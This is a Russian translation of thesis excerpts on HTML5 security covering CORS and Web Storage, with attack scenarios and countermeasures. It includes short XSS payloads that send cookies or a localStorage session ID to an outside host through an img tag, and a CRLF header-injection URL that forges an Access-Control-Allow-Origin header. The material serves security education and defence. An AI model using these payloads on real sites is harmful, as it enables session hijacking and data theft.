Безопасность HTML5 – часть вторая

Безопасность HTML5 – часть вторая

Данный документ содержит выдержки из магистерской диссертации Майкла Шмидта. Здесь отражены рассмотренные в диссертации аспекты HTML5, касающиеся безопасности.

  Автор: Michael Schmidt (Compas Security)

2.2 Cross-Origin Resource Sharing

До HTML5 сайты могли заставлять ПА делать XMLHttpRequest-запросы лишь в пределах их собственного домена (из-за политики ограничения домена). Поэтому получать доступ к ресурсам вроде обновлений для частей веб-страницы было возможно только в пределах исходного домена, что ограничивало веб-разработчиков. Это представляло особенную проблему для веб-приложений, которые состоят из нескольких частей, отображающих данные с различных доменов. Загрузка и обновление этих данных были возможны лишь через исходный домен, так что XMLHttpRequest-запросы приходилось присылать на исходный сервер. Этот сервер должен был обрабатывать запрос, загружать данные с других доменов и передавать их назад, браузеру. Такая маршрутизация (называемая также Server-Side Proxying, т. е. Проксирование на стороне сервера) приводила к высокой нагрузке на сервера, а также усложняла и замедляла обновление страниц или их частей.

С приходом HTML5 ситуация изменилась. HTML5 позволяет посылать XMLHttpRequest-запросы между доменами, если определен HTTP-заголовок "Access-Control-Allow-Origin". При некотором значении этого заголовка, XMLHttpRequest-запрос, посланный Java-скриптом с одного домена, может получить доступ к сайту на другом домене. Веб-приложение, состоящее из множества частей, находящихся на различных доменах, может также посылать XMLHttpRequest-запросы другим доменам, чтобы обновлять данные в браузере. Это снижает трафик между веб-серверами и упрощает реализацию.

Решение о том, может ли JavaScript в ходе XMLHttpRequest-запроса получить данные не от исходного домена, принимается ПА. То есть, ПА сначала делает запрос к другому домену, а затем осуществляет контроль доступа на основе заголовка Access-Control-Allow-Origin. Этот заголовок определяет, может ли JavaScript получить доступ к ответу на запрос или нет. Таким образом, веб-сервер определяет этим заголовком, каким доменам разрешен доступ к его домену путем междоменных запросов. Если данный заголовок не содержит запрашивающий домен или вовсе не определен, браузер не даст JavaScript получить ответ на запрос. Следующий пример перехваченного сетевого трафика показывает HTTP-ответ сервера из внешнего домена external.csnc.ch с установленным заголовком контроля доступа.

HTTP/1.1 200 OK 
Content-Type: text/html 
Access-Control-Allow-Origin: http://internal.csnc.ch 

Данный фрагмент показывает, что заголовок Access-Control-Allow-Origin имеет значение internal.csnc.ch. Это означает, что лишь сайты с домена internal.csnc.ch имеют право доступа к external.csnc.ch через XMLHttpRequest.

В предыдущих параграфах было дано верное, но сокращенное описание Междоменного Разделения Ресурсов (CORS). На самом деле, в CORS существует больше деталей и посылается больше сообщений при определенных обстоятельствах, например, предварительный (preflight) запрос/ответ. Раздел 5.3.1 описывает шаги обработки CORS более подробно. Кроме того, в разделе 5.2.1 можно найти демонстрационное приложение, которое иллюстрирует междоменный запрос (Cross-Origin Request, COR), а также соответствующий дамп сетевого трафика. Это демонстрационное приложение можно использовать для загрузки произвольного URI через XMLHttpRequest и отображения результата на веб-странице (если целевой сайт посылает в ответе должным образом определенный заголовок Access-Control-Allow-Origin).

2.2.1 Уязвимости

Вместе с появлением этой новой возможности HTML5 возникают и новые уязвимости. Фундаментальная проблема безопасности заключается в том, что междоменные XMLHttpRequest-запросы можно посылать, не спрашивая разрешения у пользователя. На самом деле запросы посылаются даже без уведомления пользователя. Это можно использовать для нарушения требования безопасности "Контроль доступа" через злоупотребление пользовательской сессией. Это означает, что данные запросы делаются от лица жертвы, которая может оказаться аутентифицированным пользователем. Происходит злоупотребление пользовательской сессией, что нарушает требование безопасности "Безопасное управление сессиями".

Вслед за "Контролем доступа" нарушается следующее требование безопасности, "Конфиденциальность". Это делается либо прямым доступом к ресурсам через обход "Контроля доступа", либо косвенно, если доступ к конфиденциальным данным получается путем злоупотребления пользовательскими сессиями для сбора информации о жертве.

Другая проблема, связанная с CORS, заключается в том, что источник данных больше не ограничен сервером сайта. Браузер может загружать данные из других источников, которые не могут быть проверены исходным доменом и должны считаться недоверенными. Таким образом, данные, полученные через CORS, должны проверяться на стороне клиента. Эта проблема (требование безопасности «Проверка данных») связана также с технологиями Web Socket API (см. раздел 2.7) и Web Messaging (раздел 2.5) и поэтому рассматривается лишь однажды, в разделе 2.5.1.

2.2.2 Угрозы и сценарии атак

В этом подразделе приводятся некоторые сценарии эксплуатации злоумышленником проблем безопасности, описанных в разделе 2.2.1. Сценарии атак для следующих четырех угроз будут даны в параграфах 2.2.2.1-2.2.2.4 для демонстрации эффекта этих угроз. Идеи сценариев атак взяты из [35]. В следующем списке перечислены как угрозы, так и нарушаемые ими требования безопасности:

  • Обход Контроля Доступа (сценарий 1): доступ из Интернет к внутренним сайтам возможен, если внутренний сайт неправильно установил заголовок Access-Control-Allow-Origin или делает решения, касающиеся контроля доступа, основываясь на неверных предположениях. Похожая угроза, известная как Cross-Site-Request-Forgery или CSRF (Подделка Межсайтовых Запросов), уже существует в HTML 4.01, но с помощью CORS может осуществляться без участия пользователя. Это нарушает требование безопасности "Контроль доступа".
  • Удаленная атака веб-сервера (Сценарий 2): Междоменные запросы также можно использовать для атаки другого веб-сервера через ПА любого пользователя, посетившего вредоносный сайт (это можно было сделать и средствами HTML4, но отправка управляемых POST-запросов стала проще и не ограничивается теперь типом содержимого text/plain). Это нарушает требование безопасности "Безопасное управление сессиями", поскольку атакующий может злонамеренно использовать пользовательские сессии.
  • Сбор информации (сценарий 3): можно осуществить поиск существующих доменных имен во внутренней сети на основе времени ответа на XMLHttpRequest-запросы. Это нарушает требование безопасности "Конфиденциальность", поскольку информация для внутреннего пользования попадает к злоумышленнику.
  • Запуск удаленного шелла (сценарий 4): можно злоупотреблять XMLHttpRequest-запросами для запуска удаленного шелла к ПА и управления поведением ПА через этот шелл. Это нарушает требование безопасности "Безопасное управление сессиями".
  • Раскрытие конфиденциальных данных: хотя JavaScript может получить доступ к результам запроса только при наличии в ответе должным образом определенного заголовка, запрос всегда посылается на чужой домен. Это можно использовать для отсылки конфиденциальных данных на сервер атакующего. Хотя это можно осуществить и другими путями, CORS предоставляет новый гибкий способ и, таким образом, раскрытие конфиденциальных данных является неявной угрозой, связанной с CORS и нарушающей требование безопасности "Конфиденциальность".
  • Ботнет на базе Web: через CORS и другие возможности HTML5 возможно создание веб-ботнета. Эта угроза описана лишь однажды в разделе 2.7.2, поскольку все ее варианты различаются лишь технологией, используемой для установления ботнета.
  • DDoS-атаки посредством CORS и Web Workers: комбинируя CORS и Web Workers можно осуществить DDoS-атаку. Web Workers и детали этого сценария атаки описаны в разделе 2.9.1.

2.2.2.1 Сценарий 1 – получение доступа к внутренним сайтам

В данном сценарии предполагается, что внутренний сайт доступен лишь из Интранет (корпоративной сети). Доступ к сайту из Интернет блокируется файрволом. Поскольку этот Интранет-сайт предоставляет сервисы нескольким внутренним приложениям, разработчик решил установить значение заголовка Access-Control-Allow-Origin, равное *, чтобы сделать его доступным для всех Интранет-приложений. Это было сделано, поскольку предполагалось, что сайт доступен только из Интранет. Соответствующая топология сети показана в виде высокоуровневой диаграммы в разделе 5.1.2. Эта диаграмма показывает вовлеченные сетевые устройства и периметр безопасности, а также положение атакующего и жертвы.

Для доступа к внутреннему сайту из Интернет, атакующий создает свой сайт с вредоносным JavaScript-кодом и обманом заставляет сотрудника соответствующей компании зайти на этот вредоносный сайт из Интранет. Как только сотрудник открывает вредоносный сайт, JavaScript-код делает XMLHttpRequest-запрос к корпоративному сайту. Ответ посылается обратно на сайт, контролируемый атакующим. Итак, атакующий способен получать доступ к корпоративным приложениям из Интернет посредством XMLHttpRequest-запросов. Для осуществления данной атаки нужно знать URI внутреннего сайта или попытаться определить его, используя техники, описанные в разделе 2.2.2.3. Рисунок 3 иллюстрирует данную атаку в виде диаграммы последовательности.

Рисунок 3. Диаграмма последовательности: доступ к Интранет-приложениям через CORS

  1. Внутренний пользователь делает запрос к Интранет-сайту через свой ПА (опциональный шаг)
  2. Корпоративный веб-сервер возвращает контент с HTTP-заголовком Access-Control-Allow-Origin, имеющим значение * (опциональный шаг)
  3. Пользователь через Интернет заходит на сайт, контролируемый атакующим
  4. Этот сайт содержит содержит скрытый вредоносный JavaScript-код, который передается внутреннему пользователю с прочим контентом, не вызывающим подозрений
  5. Данный JavaScript-код выполняется ПА в фоне
  6. Делается XMLHttpRequest-запрос к корпоративному сайту и, поскольку Access-Control-Allow- Origin имеет значение *, JavaScript получает доступ к содержимому ответа
  7. JavaScript разбирает результат
  8. Содержимое корпоративного сайта посылается на веб-сервер атакующего

Небольшая вариация атаки имеет место в случае, когда сайт выглядит по-разному при доступе из Интранет и Интернет. Тогда в результате атаки Интранет-контент можно получать из Интернет.

2.2.2.2 Сценарий 2 – скрытая атака веб-сервера

Этот сценарий описывает то, как междоменные запросы можно использовать для злоупотребления ПА жертвы и запуска атак на веб-сервер. Атакующий создает вредоносный сайт или каким-либо образом размещает вредоносный контент на популярном сайте и обманом заставляет пользователя посетить этот сайт. При этом, помимо обычного контента, ПА получает скрытый JavaScript. После загрузки JavaScript-код посылает XMLHttpRequest-запросы и атакует другой сайт. Логи атакуемого веб-сервера покажут, что атаку запустил пользователь, зашедший на вредоносный сайт, что, разумеется, неверно. В разделе 5.1.4 размещена высокоуровневая диаграмма, которая показывает предполагаемую для этой атаки топологию. Если сайт атакующего откроет много пользователей сразу, против атакуемого сайта можно запустить DDoS-атаку. Даже если заголовок Access-Control-Allow-Origin не определен, запросы будут посылаться на веб-сервер и обрабатываться.

Рисунок 4. Диаграмма последовательности: удаленная атака посредством CORS

  1. Пользователь заходит на вредоносный сайт с заготовленным атакующим JavaScript-кодом.
  2. Этот сайт возвращает вредоносный JavaScript-код.
  3. Вредоносный JavaScript-код посылает XMLHttpRequest-запросы на цель атаки и, если нужно, отбрасывает ответы.
  4. Все дальнейшие запросы похожи на шаг 3. Вредоносный JavaScript-код посылает XMLHttpRequest-запросы с полезной нагрузкой (payload), которая может отличаться для разных запросов, до тех пор, пока атака не завершится.

DDoS-атаки возможны и средствами HTML4. Однако, HTML5 делает эти атаки гораздо более эффективными. Запросы с использованием XMLHttpRequest по сравнению со стандартными GET-запросами могут посылаться быстрее [36] (более подробно DDoS-атака через комбинацию CORS и Web Workers описана в разделе 2.9.1).

Сценарий 3 – сканирование Интранет на основе времени отклика на запрос

Междоменные запросы можно использовать для определения существования того или иного внутреннего доменного имени, даже если заголовок Access-Control-Allow-Origin не определен или ограничен конкретными доменами. Это можно осуществить, посылая XMLHttpRequest-запрос на произвольные доменные имена и заключая по времени отклика факт наличия или отсутствия домена.

Данная атака демонстрируется POC-приложением, которое описано более подробно в разделе 5.2.2. Это приложение позволяет посылать произвольные запросы на URI с помощью XMLHttpRequest и отображать время отклика. В зависимости от времени отклика можно сделать некоторые выводы. Запрос, посылаемый на URI, имеет различное время отклика в трех разных случаях:

  1. домен не существует
  2. домен существует но не существует путь в пределах существующего домена (возвращается ошибка с кодом 404)
  3. домен и путь существуют, но доступ запрещен на основе заголовка Access-Control-Allow-Origin.

Таблица 1 резюмирует это поведение и показывает, какая дополнительная информация может быть получена из этих трех различных состояний (время отклика в ходе POC-тестов указано в скобках из-за возможных погрешностей):

Error reason (≈ response time in ms) Valid Domain name Web Server running Valid Path
Domain does not exist (≈ 39 ms) No No No
Domain exists but HTTP 404 message returned (≈ 863 ms) Yes Yes No
Access denied based on Access-Control-Allow-Origin header (≈ 128 ms) Yes Yes Yes

Таблица 1: результат сканирования на основе времени отклика

Возможно определить и другую информацию, вроде прочих 40X заголовков и того, что домен существует, но на нем не запущен веб-сервер. Однако, в этом случае времена отклика будут отличаться незначительно, то есть, чем больше разных характеристик мы пытаемся определить, тем менее точны будут результаты.

2.2.2.4 Сценарий 4 – удаленный шелл

Еще одна проблема, которую может создать CORS, – возможность создания удаленного веб-шелла. Если в приложении найдена уязвимость типа "Межсайтовый скриптинг" (XSS), атакующий может делать в приложении то же, что обычный пользователь. Если атакующий может внедрить JavaScript-код, он может запустить обратный шелл с помощью POC-инструментов вроде "Shell of the Future" [37]. Одна из главных функций этого обратного веб-шелла – похищение сессии пользователя через его ПА. XMLHttpRequest используется для запросов и получения содержимого сайтов. Другими словами, атакующий имеет соединение с ПА жертвы и использует ее ПА в качестве "прокси". Большое преимущество по сравнению с обычной кражей сессионного куки состоит в том, что эта атака работает для приложений, недоступных атакующему напрямую, например, внутренних приложений (подобные атаки уже были возможны средствами технологий HTML4; XSS-Shell [38] тому пример. Но CORS делает эти атаки проще и мощнее).

2.2.3 Контрмеры

Справиться со всеми описанными атаками через безопасную реализацию только серверной стороны невозможно. Первые два пункта следующего списка помогают только против угрозы обхода контроля доступа, а третий позволяет обнаруживать DDoS.

  • Ограничить домены, имеющие право делать междоменные запросы, путем перечисления их явно в заголовке Access-Control-Allow-Origin, значение которого не должно равняться *.
  • Не проводить контроль доступа на основе заголовка Origin. Этот заголовок может быть подменен атакующим путем посылки поддельного заголовка (смотри раздел 5.1.6 для подробностей).
  • Для смягчения DDoS-атак Файрвол Веб-Приложений (WAF) должен блокировать CORS-запросы, если они приходят с высокой частотой. Их можно распознать по заголовку Origin, посылаемому в CORS-запросе.

Угрозы удаленной атаки на веб-сервер, сбора информации, установления удаленного шелла, раскрытия конфиденциальной информации и создания веб-ботнета не могут быть полностью преодолены путем безопасной реализации. Таким образом можно предотвратить только обход контроля доступа. Остальные угрозы нужно принять как данность или смягчать путем использования других сервисов безопасности.

Особое внимание нужно обратить на возможность атаки "внедрение заголовка". Например,

http://www.csnc.ch/secred.html%0A%0DAccess-Control-Allow-Origin:+*%0a%0d%0a%0d

Строка %0A%0D вставит дополнительный перенос строки в ответ и заставит браузер думать, что заголовок Access-Control-Allow-Origin был установлен сервером. Если инъекция заголовка возможна, атакующий способен переопределить или установить заголовок Access-Control-Allow-Origin.

2.3 Web Storage

До HTML5 веб-приложения могли хранить данные на стороне клиента лишь через механизм куки. Этот способ имеет два больших недостатка. Первый заключается в том, что размер куки сильно ограничен (4K в одном куки / 20 куки на домен [39]), а второй – в том, что куки передаются вместе с каждым запросом. Для того, чтобы обойти это ограничение и сделать возможными оффлайн-приложения, HTML5 вводит концепцию локального хранилища, названную Web Storage (Веб-Хранилище). Web Storage предоставляет сайту возможность сохранять данные на компьютере пользователя и впоследствии обращаться к ним через JavaScript. Размер локального хранилища зависит от реализации браузера, но рекомендованный размер – 5 мегабайт на домен. В первой спецификации HTML5 определены следующие типы веб-хранилища1:

  • Локальное Хранилище (Local Storage): в данном типе хранилища можно хранить любые текстовые значения. Его элементы составлены из пар имя-значение, и к ним можно обращаться по имени. Данные остаются в этом хранилище до тех пор, пока не будут явно удалены пользователем, либо веб-приложением. Закрытие ПА или завершение веб-сессии не удаляет эти данные. Доступ к данным защищается политикой ограничения домена: сайт может получать доступ только к объектам его собственного Локального Хранилища.
  • Сессионное хранилище (Session Storage): Это хранилище похоже на Локальное за исключением того, что данные удаляются при закрытии ПА или вкладки ПА (зависит от ПА). Таким образом, получение доступа к одному Сессионному Хранилищу в пределах одного домена невозможно из разных вкладок или сессий (что возможно для Локального Хранилища).

Хранение данных в куки отличается еще и тем, что значения из Локального Хранилища не посылаются на сервер вместе с каждым запросом. Куки имеют срок хранения, а атрибуты Локального Хранилища – нет. Атрибуты Локального Хранилища защищены политикой ограничения домена: значения, сохраненные в HTTP-соединении, недоступны в HTTPS-соединении. Напротив, куки, установленные в HTTP-соединении, посылаются в HTTPS-соединении, если совпадает имя домена.

В разделе 5.2.3 показано POC-приложение, использующее Локальное Хранилище. Это приложение позволяет загружать данные из Локального Хранилища и сохранять их туда. Разграничение Локальных Хранилищ для разных доменов проиллюстрировано в том же разделе. В разделе 5.3.2 показаны несколько примеров JavaScript-кода, получающего доступ к Локальному Хранилищу. (Замечание: Глобальное Хранилище, которое было определено ранее в рабочих проектах HTML5, удалено из текущей спецификации [40]; по этой причине влияние Глобального Хранилища на безопасность рассматриваться здесь не будет).

2.3.1 Уязвимости

Главная проблема безопасности, связанная с Локальным Хранилищем, в том, что пользователь не знает, какие данные в нем хранятся. Пользователь не способен контролировать хранилище и, соответственно, доступ к хранящимся в нем данным. Весь доступ производится через JavaScript, поэтому для получения прозрачного для пользователя доступа ко всем элементам хранилища достаточно запустить некоторый JavaScript-код в нужном домене.

Лишь исходный домен имеет права на доступ к данным из Web Storage и на манипуляцию ими. Однако, если атакующий сможет внедрить JavaScript-код, требования безопасности "Защита данных", "Целостность" и "Конфиденциальность" подвергнутся опасности из-за возможности обхода контроля доступа. Вредоносный JavaScript-код может манипулировать данными или посылать их на другие домены.

2.3.2 Сценарии атак и угроз

Локальное Хранилище рождает новые угрозы, которые описаны в следующем списке. Список, кроме того, показывает, какие требования безопасности при этом нарушаются. Сценарии трех соответствующих атак приведены в разделах 2.3.2.1-2.3.2.3, чтобы продемонстрировать, как Локальное Хранилище может эксплуатироваться атакующим.

  • Похищение сессии (Сценарий 1): Если идентификатор сессии хранится в Локальном Хранилище, а в веб-приложении существует уязвимость кодировки ввода/вывода, идентификатор может быть украден (это сделать проще, чем украсть значение куки). Это нарушает требование безопасности "Безопасное управление сессиями".
  • Раскрытие Конфиденциальных Данных (Сценарий 2): Если веб-приложение хранит конфиденциальные данные в ПА клиента, они могут быть украдены и злонамерено использованы атакующими. Это нарушает требование безопасности "Конфиденциальность".
  • Отслеживание пользователя (Сценарий 3): Локальное Хранилище может создать проблемы приватности. Локальное Хранилище можно использовать как дополнительную возможность для опознавания пользователя. Это нарушает требование безопасности "Защита личных сведений".
  • Постоянные вектора атак: Вектора атак могут постоянно присутствовать на стороне клиента. Область обитания постоянно присутствующих уязвимостей расширяется в сторону ПА и больше не ограничена серверной стороной. Это нарушает требование безопасности «Защита ПА».

2.3.2.1 Сценарий 1 – похищение сессии

HTTP является протоколом без сохранения состояния (stateless), поэтому управление состояниями должно осуществляться на более высоких уровнях. Для этого в веб-приложениях обыкновенно используются куки сессии, которые хранят длинный непредсказуемый маркер. Маркер посылается на веб-сервер, чтобы тот мог опознать пользователя и соответствующую ему сессию.

Тем не менее, проблема такого решения в том, что сессионную куки можно украсть в ходе XSS-атаки. Если атакующему удастся внедрить в веб-приложение следующий код, то он сможет воровать сессионный куки.

<script> 
   document.write("<img src='http://www.csnc.ch?cookies="+document.cookie+"'>"); 
</script> 

Это справедливо и для HTML5, но идентификатор сессии теперь может также храниться в Web Storage. В этом случае атакующему нужно внедрить в веб-приложение следующий код для кражи идентификатора сессии и перехвата сессии пользователя:

<script> 
   document.write("<img 
   src='http://www.csnc.ch?sessionID="+localStorage.getItem('SessionID')+"'>"); 
</script> 

Как видно, XSS по прежнему может быть использован для кражи идентификаторов сессий и перехвата сессий пользователей. HTML5 Web Storage ничего не изменил в данном вопросе, лишь слегка поменялась используемая JavaScript-технология. Правда, атакующему приходится быть более точным, ему необходимо знать имя переменной.

Кроме того, для куки можно использовать флаг HTTPonly, чтобы предотвратить доступ к куки через JavaScript, что делает кражу куки (идентификатора сессии) через XSS невозможной. Отсутствие этого HTTPonly флага – другой недостаток хранения идентификаторов в Локальном Хранилище. Дополнительный слой защиты, который обеспечивается флагом HTTPonly, не может быть использован для идентификаторов в Локальном Хранилище.

2.3.2.2 Сценарий 2 – раскрытие конфиденциальных данных

Как показано в сценарии 1, для доступа к объектам Локального Хранилища достаточно эксплуатировать XSS-уязвимость. Это особенно опасно в случае, когда на стороне клиента хранятся конфиденциальные данные. Атакующий может считать все содержимое Локального Хранилища домена, эксплуатируя XSS-уязвимость.

Если сервер не имеет XSS-уязвимостей, атакующий может заставить пользователя обратиться к веб-приложению через вредоносное сетевое устройство. Это сетевое устройство манипулирует ответами сервера и внедряет в них JavaScript-код, считывающий информацию из Локального Хранилища для соответствующего домена. Атакующему больше не нужно искать уязвимости в веб-приложении. Он может просто атаковать ПА напрямую. На рисунке 5 показана диаграмма последовательности, которая иллюстрирует эту атаку.

Рисунок 5 Диаграмма последовательности: Атака Локального Хранилища

  1. ПА делает запрос с произвольным путем к веб-приложению, подлежащему атаке. Ответ целевого сайта изменяется вредоносным веб-прокси: к нему добавляется JavaScript-код, считывающий Локальное Хранилище.
  2. JavaScript-код считывает содержимое Локального Хранилища соответствующего домена
  3. Полученное содержимое отправляется на вредоносный веб-прокси.

Другой проблематичный момент возникает, когда разные веб-авторы используют один и тот же домен и приложения различаются лишь путем в пределах домена. Локальное Хранилище тогда делится между этими приложениями. Не существует способа ограничить доступ к Локальному Хранилищу на основе пути. Итак, усли XSS-уязвимость найдена в приложении www.csnc.ch/app1/, становится возможным читать данные, сохраненные приложением www.csnc.ch/app2/.

2.3.2.3 Сценарий 3 – отслеживание пользователей

Отслеживание пользователя, основаное на куки, - обычный способ идентификации пользователей, посещающих сайт. Вместе с Локальным Хранилищем в HTML5 появляется альтернативная возможность хранить информацию о посетителях сайта. Сайт может хранить информацию для отслеживания пользователей в ПА клиентов и коррелировать пользовательские сессии. Коварность здесь кроется в том, что Локальное Хранилище не удаляется во всех ПА при очистке истории (см. раздел 5.4.1 для обзора поведения разных браузеров). Пользователи, пытающиеся очистить кэш своих ПА, могут не знать про Локальное Хранилище. Вечные куки, уже упоминавшиеся во вступлении, используют Локальное Хранилище как одну из возможностей для отслеживания пользователя.

2.3.3 Контрмеры

Использование Локального Хранилища приносит определенную выгоду, но открывает двери для атак, упоминавшихся выше. Есть несколько моментов, которые могут пойти не так, поэтому разработчикам нужно аккуратно реализовывать доступ к атрибутам локального хранилища. Для безопасного использования Локального Хранилища в веб-приложениях необходимо рассмотреть следующие пункты.

  • Для поддержки механизма сессий следует использовать куки, а не Локальное Хранилище. Обе технологии имеют одинаковые проблемы, но куки могут быть лучше защищены при использовании флага HTTPonly. Кроме того, Локальное Хранилище не очищается после закрытия ПА, то есть, идентификатор сессии может быть украден, если пользователь просто выходит из ПА, не осуществляя явный выход из сессии (logout) или веб-приложение не завершает сессию должным образом (например, общедоступный компьютер).
  • Не храните в Локальном Хранилище конфиденциальные данные. Конфиденциальные данные следует хранить на веб-сервере и защищать соответствующим образом.
  • Различные веб-приложения, размещенные на одном домене и отличающиеся лишь путем, не должны использовать Локальное Хранилище, если им необходимо отделить данные друг от друга.

Тем не менее, угрозы отслеживания пользователя и постоянных векторов атак все еще остаются в силе и не могут быть нивелированы поставщиком веб-приложений через безопасную реализацию.


1 Изначально стандарт Web SQL database был частью спецификации HTML5. Но в данном документе он не рассматривается, поскольку на момент написания будущее этого стандарта было туманным. На сайте W3C висело следующее заявление: «Этот документ был в числе разрабатываемых рекомендаций W3C, но работа по спецификации была остановлена. Спецификация зашла в тупик: все заинтересованные разработчики использовали одинаковый SQL-backend (Sqlite), но нам нужно несколько независимых реализаций для продолжения спецификации.» [69]. Таким образом, связанные с SQL-инъекциями угрозы, которые могли затронуть Web SQL базы данных, не рассматриваются в настоящем отчете.


Список источников:

[35] Attack and Defense Labs. (2010, Dec.) HTML5 Security - Web SQL / Cross Origin Requests. [Online]. http://www.andlabs.org/html5.html
[36] L. Kuppan. (2010, Dec.) Attacking with HTML5. Webinar, Black Hat Webcast Series.
[37] L. Kuppan. (2010, Jul.) Shell of the Future – Reverse Web Shell Handler for XSS Exploitation. [Online]. http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html
[38] Portcullis Labs. (2008, Oct.) XSS Shell - a XSS backdoor and zombie manager. [Online]. https://labs.portcullis.co.uk/application/xssshell/
[39] Network Working Group. (1997, Feb.) HTTP State Management Mechanism. [Online]. http://www.ietf.org/rfc/rfc2109.txt
[40] M. Smith (W3C). (2008, Jun.) HTML 5 Publication Notes: High-level list of selected changes. [Online]. http://www.w3.org/TR/html5-pubnotes/
[69] The World Wide Web Consortium (W3C). (2010, Dec.) Web SQL Database. [Online]. http://www.w3.org/TR/webdatabase/

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!